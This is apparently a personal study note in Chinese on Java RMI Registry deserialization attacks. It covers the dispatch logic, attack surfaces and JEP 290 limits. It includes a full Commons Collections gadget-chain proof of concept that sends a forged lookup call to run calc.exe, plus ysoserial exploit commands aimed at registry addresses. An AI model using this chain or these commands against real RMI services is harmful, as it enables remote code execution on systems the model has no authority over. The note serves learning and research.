P师傅在Java安全漫谈中把Registry比作”后台”, 我觉得非常生动:
image.png
那么攻击面就有:

  1. 访问后台,修改远程服务器上Hello对应的对象:

如:

  1. RemoteHelloWorld h = new RemoteHelloWorld();
  2. Naming.rebind("rmi://192.168.135.142:1099/Hello", h);

但是这样显然是不可以的, 原因是:
“Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、
bind、unbind等方法”

或许这个和版本也有关系,低版本下可以这么用? // Todo : 待考究.

  1. 通过Naming.list列举Registry上所有绑定的对象,查看是否有危险方法可以利用
    1. 危险方法包括 参数有Object类型等.
    2. 查看绑定的对象很简单,但是如何获取远程方法?? // ??
  2. ~~利用Codebase执行任意代码, 详细利用见后文 ~~ 这个似乎是Client Attack Server的场景
  3. 反序列化攻击面,也就是下面的介绍

    1. 总的来说就是Registry暴露的交互”接口”, 存在反序列化

      Registry处理流程

      Registry对应的类实现: sun.rmi.registry.RegistryImpl , 不过这个类并没有什么有用的方法, rmi中使用的代理比较多..
      这篇文章 https://xz.aliyun.com/t/8706#toc-6 有详细的源码分析,不过这里只需要理解一个dispatch函数就好了:
      可以在RegistryImpl#lookup下断点,这样在client调用lookup方法时,就可以看到Server处理时的调用栈:
      image.png
      向上找就可以看到Server处理远程请求的RegistryImpl_Skel#dispatch. (单独找这个类找不到..)
      这个调用方法做了如下的事情:
  4. 判断Client调用的是bing/list/lookup ..

  5. 分发调用,实现就是下面的这个case

image.png
case的各种情况与调用:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

然后可以看到,像bind,list,lookup等参数的处理: 都是接受反序列化数据,并且先做反序列化处理再强制类型转换的.
image.png
所以这些点都存在反序列化的攻击面
攻击可以参考这篇文章: https://xz.aliyun.com/t/8706#toc-9

  • Server通过bind和rebind attack Registry
    • bind和rebind是可以传递Object参数的
  • Client通过unbind和lookup attack Registry
    • unbind和lookup只有String类型

      攻击细节暂且不看.

为什么还会有Server和Client的区分? 在RegistryImpl_Skel#dispatch并未看到有检查,可能在别处?

下面是一个攻击的Demo.

Client伪造lookup请求Attack Registry

以这个为例, 完整的攻击思路

因为lookup参数只支持String,所以想要攻击就需要实现一个自己的”lookup”:**同样也是看调用栈来找到stub的lookup方法实现,下面这个流程完全是可以复现的:
image.png
demo poc: 来自大佬文章,不过运行了会报错,能否打通存在疑问(?

文章备注了受JEP 290影响, 暂时还没研究这个东西 mark一下

  1. package test.java.clientAttackRegistry.lookup;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import sun.rmi.server.UnicastRef;
  8. import java.io.ObjectOutput;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.Proxy;
  13. import java.rmi.Remote;
  14. import java.rmi.registry.LocateRegistry;
  15. import java.rmi.registry.Registry;
  16. import java.rmi.server.Operation;
  17. import java.rmi.server.RemoteCall;
  18. import java.rmi.server.RemoteObject;
  19. import java.util.HashMap;
  20. import java.util.Map;
  21. public class badClient {
  22. public static void main(String[] args) throws Exception {
  23. Transformer[] transformers = new Transformer[]{
  24. new ConstantTransformer(Runtime.class),
  25. new InvokerTransformer("getMethod",
  26. new Class[]{String.class, Class[].class},
  27. new Object[]{"getRuntime", new Class[0]}),
  28. new InvokerTransformer("invoke",
  29. new Class[]{Object.class, Object[].class},
  30. new Object[]{null, new Object[0]}),
  31. new InvokerTransformer("exec",
  32. new Class[]{String.class},
  33. new Object[]{"calc.exe"})
  34. };
  35. // Transformer transformerChain = new ChainedTransformer(transformers);
  36. Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
  37. Map innerMap = new HashMap();
  38. innerMap.put("value", "Threezh1");
  39. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  40. Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  41. Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
  42. cons.setAccessible(true);
  43. InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
  44. Field f = transformerChain.getClass().getDeclaredField("iTransformers");
  45. f.setAccessible(true);
  46. f.set(transformerChain, transformers);
  47. // 模拟lookup的请求:
  48. Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));
  49. Registry registry = LocateRegistry.createRegistry(3333);
  50. Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
  51. // 获取super.ref
  52. Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
  53. fields_0[0].setAccessible(true);
  54. UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);
  55. // 获取operations
  56. Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
  57. fields_1[0].setAccessible(true);
  58. Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);
  59. // 跟lookup方法一样的传值过程
  60. RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
  61. ObjectOutput var3 = var2.getOutputStream();
  62. var3.writeObject(proxyEvalObject);
  63. ref.invoke(var2);
  64. registry_remote.lookup("HelloRegistry");
  65. System.out.println("rmi start at 1099");
  66. }
  67. }

ysoserial

  • Client 攻击 Registry (受JEP290影响):“通过与DGC通信的方式发送恶意对象让注册中心反序列化”

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections2 “calc.exe”

  • Server 攻击 Registry (受JEP290影响):

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.31.138 1099 CommonsCollections1 “calc.exe”
对于Server攻击Registry:

  1. 默认情况下,服务端向注册端进行bind等操作会验证服务端的地址(默认只允许localhost)
  2. 对于不信任的地址,也可利用
    1. 在8u141之前,JDK对于服务端地址的验证在反序列化之前
    2. 在8u141之后,JDK对于服务端地址的验证反序化之后